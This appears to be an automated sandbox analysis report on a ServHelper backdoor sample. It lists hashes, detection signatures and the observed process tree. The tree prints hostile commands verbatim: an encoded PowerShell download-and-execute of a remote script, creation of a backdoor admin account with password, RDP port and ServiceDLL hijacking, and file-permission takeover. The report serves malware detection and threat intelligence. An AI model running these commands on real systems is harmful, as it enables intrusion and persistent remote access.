Analysis

  • max time kernel
    139s
  • max time network
    95s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    09-07-2021 18:32

General

  • Target

    08a384b9655fb403506ef9a621d2fa01.exe

  • Size

    4.3MB

  • MD5

    08a384b9655fb403506ef9a621d2fa01

  • SHA1

    b6b977dbc86b6929646e8a0b0bb77b6768b124f9

  • SHA256

    c2748f872784ed3b7b9b2c51993d861a5283d3ca17579d367149031b2e479d82

  • SHA512

    71b462a33c601cabfbb9ddd9b650d8673b9ed06c9daedc955a1e1f112754be90ddf406c422a75b25fe86f7cf83ba9246ab7ab6386866e99b4134e0dc83f412c1

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Core1 .NET packer 1 IoCs

    Detects packer/loader used by .NET malware.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\08a384b9655fb403506ef9a621d2fa01.exe
    "C:\Users\Admin\AppData\Local\Temp\08a384b9655fb403506ef9a621d2fa01.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1672
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2044
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Deletes itself
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2004
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gkfcmjc1\gkfcmjc1.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1044
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES32A4.tmp" "c:\Users\Admin\AppData\Local\Temp\gkfcmjc1\CSC96A573A24DE345DD86378D74CB7731.TMP"
            5⤵
              PID:1652
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1696
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:636
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1064
          • C:\Windows\system32\takeown.exe
            "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1012
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1896
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            • Suspicious use of AdjustPrivilegeToken
            PID:1036
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:948
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1280
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1580
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1088
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1020
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:824
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:608
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:1348
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1384
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                    5⤵
                      PID:1248
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                    4⤵
                      PID:960
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start rdpdr
                        5⤵
                          PID:912
                          • C:\Windows\system32\net.exe
                            net start rdpdr
                            6⤵
                              PID:1336
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start rdpdr
                                7⤵
                                  PID:1972
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                            4⤵
                              PID:1468
                              • C:\Windows\system32\cmd.exe
                                cmd /c net start TermService
                                5⤵
                                  PID:1572
                                  • C:\Windows\system32\net.exe
                                    net start TermService
                                    6⤵
                                      PID:1360
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 start TermService
                                        7⤵
                                          PID:240
                                  • C:\Windows\system32\cmd.exe
                                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                                    4⤵
                                      PID:1348
                                    • C:\Windows\system32\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                      4⤵
                                        PID:1616
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc 000000 /del
                                  1⤵
                                    PID:1536
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc 000000 /del
                                      2⤵
                                        PID:304
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                          3⤵
                                            PID:768
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe user WgaUtilAcc XKgRzMxN /add
                                        1⤵
                                          PID:1500
                                          • C:\Windows\system32\net.exe
                                            net.exe user WgaUtilAcc XKgRzMxN /add
                                            2⤵
                                              PID:1980
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 user WgaUtilAcc XKgRzMxN /add
                                                3⤵
                                                  PID:824
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                              1⤵
                                                PID:1200
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                  2⤵
                                                    PID:1316
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                      3⤵
                                                        PID:920
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                    1⤵
                                                      PID:1868
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                        2⤵
                                                          PID:636
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                            3⤵
                                                              PID:1996
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                          1⤵
                                                            PID:1156
                                                            • C:\Windows\system32\net.exe
                                                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                              2⤵
                                                                PID:756
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                                  3⤵
                                                                    PID:1088
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd /C net.exe user WgaUtilAcc XKgRzMxN
                                                                1⤵
                                                                  PID:608
                                                                  • C:\Windows\system32\net.exe
                                                                    net.exe user WgaUtilAcc XKgRzMxN
                                                                    2⤵
                                                                      PID:1500
                                                                      • C:\Windows\system32\net1.exe
                                                                        C:\Windows\system32\net1 user WgaUtilAcc XKgRzMxN
                                                                        3⤵
                                                                          PID:1104
                                                                    • C:\Windows\System32\cmd.exe
                                                                      cmd.exe /C wmic path win32_VideoController get name
                                                                      1⤵
                                                                        PID:1316
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic path win32_VideoController get name
                                                                          2⤵
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:2020
                                                                      • C:\Windows\System32\cmd.exe
                                                                        cmd.exe /C wmic CPU get NAME
                                                                        1⤵
                                                                          PID:980
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic CPU get NAME
                                                                            2⤵
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1616
                                                                        • C:\Windows\System32\cmd.exe
                                                                          cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                          1⤵
                                                                            PID:304
                                                                            • C:\Windows\system32\cmd.exe
                                                                              cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                              2⤵
                                                                                PID:1612
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                                  3⤵
                                                                                  • Blocklisted process makes network request
                                                                                  • Drops file in Windows directory
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:1500

                                                                            Network

                                                                            MITRE ATT&CK Enterprise v6

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            • memory/636-145-0x00000000026B0000-0x00000000026B1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/636-146-0x0000000002010000-0x0000000002011000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/636-141-0x000000001AD94000-0x000000001AD96000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/636-143-0x0000000002790000-0x0000000002791000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/636-139-0x000000001AD90000-0x000000001AD92000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/636-140-0x0000000002450000-0x0000000002451000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1064-161-0x000000001AB60000-0x000000001AB62000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1064-162-0x000000001AB64000-0x000000001AB66000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1500-215-0x00000000194C0000-0x00000000194C2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1500-216-0x00000000194C4000-0x00000000194C6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1500-246-0x00000000194CA000-0x00000000194E9000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1672-64-0x000000001D0E0000-0x000000001D700000-memory.dmp

                                                                              Filesize

                                                                              6.1MB

                                                                            • memory/1672-66-0x0000000000660000-0x0000000000661000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1672-67-0x000000001E3E0000-0x000000001E9E9000-memory.dmp

                                                                              Filesize

                                                                              6.0MB

                                                                            • memory/1672-62-0x000000001BED0000-0x000000001C6FB000-memory.dmp

                                                                              Filesize

                                                                              8.2MB

                                                                            • memory/1672-63-0x0000000000840000-0x0000000000842000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1672-65-0x0000000000650000-0x0000000000660000-memory.dmp

                                                                              Filesize

                                                                              64KB

                                                                            • memory/1672-60-0x000000013FB30000-0x000000013FB31000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1696-109-0x000000001B7C0000-0x000000001B7C1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1696-110-0x00000000023E0000-0x00000000023E1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1696-105-0x000000001AA70000-0x000000001AA71000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1696-107-0x000000001B730000-0x000000001B731000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1696-111-0x000000001AA90000-0x000000001AA92000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1696-131-0x000000001B690000-0x000000001B691000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1696-118-0x000000001BA10000-0x000000001BA11000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1696-112-0x000000001AA94000-0x000000001AA96000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1696-132-0x000000001B6A0000-0x000000001B6A1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2004-113-0x000000001AB8A000-0x000000001ABA9000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/2004-98-0x00000000026F0000-0x00000000026F1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2004-86-0x000000001C2C0000-0x000000001C2C1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2004-81-0x0000000002340000-0x0000000002341000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2004-84-0x00000000024B0000-0x00000000024B1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2004-94-0x0000000002330000-0x0000000002331000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2004-80-0x000000001AC00000-0x000000001AC01000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2004-79-0x0000000002260000-0x0000000002261000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2004-83-0x000000001AB84000-0x000000001AB86000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/2004-78-0x000007FEFB701000-0x000007FEFB703000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/2004-96-0x000000001A8F0000-0x000000001A8F1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2004-97-0x000000001B570000-0x000000001B571000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2004-82-0x000000001AB80000-0x000000001AB82000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/2044-73-0x0000000040997000-0x0000000040998000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2044-69-0x0000000041120000-0x0000000041541000-memory.dmp

                                                                              Filesize

                                                                              4.1MB

                                                                            • memory/2044-75-0x0000000040996000-0x0000000040997000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2044-76-0x000000004099C000-0x00000000409BB000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/2044-72-0x0000000040992000-0x0000000040994000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/2044-74-0x0000000040994000-0x0000000040996000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/2044-71-0x0000000000400000-0x0000000000A57000-memory.dmp

                                                                              Filesize

                                                                              6.3MB

                                                                            • memory/2044-68-0x0000000000400000-0x0000000000A57000-memory.dmp

                                                                              Filesize

                                                                              6.3MB